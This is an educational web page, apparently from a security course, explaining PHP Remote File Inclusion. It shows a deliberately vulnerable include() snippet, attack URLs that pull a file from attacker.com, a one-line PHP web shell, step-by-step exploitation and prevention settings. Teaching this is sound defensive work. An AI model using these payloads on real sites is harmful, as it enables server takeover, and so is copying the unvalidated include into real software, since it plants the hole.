Remote File Inclusion (RFI) - Cybersecurity Academy

What is Remote File Inclusion?

RFI is a critical web vulnerability that allows an attacker to include and execute a malicious file from a remote server, usually due to insecure use of dynamic file loading functions in web applications. It is most commonly found in PHP apps using include() or require() functions without proper validation.

💥 How Does RFI Work?

Consider the following vulnerable PHP code:

// vulnerable.php
<?php
  $page = $_GET['page'];
  include($page);  // No validation
?>

An attacker could exploit this by providing a remote URL:

https://vulnerable-site.com/vulnerable.php?page=http://attacker.com/shell.txt

If the remote file contains malicious PHP code, it will be executed on the server.

📚 RFI vs LFI: What's the Difference?

RFI (Remote File Inclusion) loads files from remote URLs like http://evil.com/shell.txt.
LFI (Local File Inclusion) includes local files like /etc/passwd or ../../index.php.

🛠️ Step-by-Step Exploitation Example

Find a parameter that loads files dynamically (e.g. ?page=)
Test with a basic file: ?page=http://attacker.com/info.txt
Prepare a remote malicious script with PHP payload:
```
// shell.txt
<?php system($_GET['cmd']); ?>
```
Trigger the payload: ?page=http://attacker.com/shell.txt&cmd=whoami

If vulnerable, the server will execute the remote code and return the result.

🌐 Real-World Case Study

In 2007, a vulnerability in PHP-Nuke allowed attackers to inject remote shells via RFI. Thousands of websites were compromised. Even today, many legacy apps using older PHP versions remain exposed if allow_url_include is enabled.

✅ Prevention Techniques

Disable remote file includes:

php.ini:
allow_url_include = Off
allow_url_fopen = Off

Whitelist allowed files instead of using unsanitized input.
Use secure frameworks that abstract file loading logic.
Validate & sanitize user inputs strictly.

📌 Tools & Resources

💡 Pro Tips

Look for URLs that reflect file-based parameters: ?template=, ?module=, ?include=
Check PHP settings via phpinfo() to see if allow_url_include is enabled
Use Burp Suite Intruder or FuzzDB payloads for automated testing
Combine RFI with Command Injection or Privilege Escalation if a shell is achieved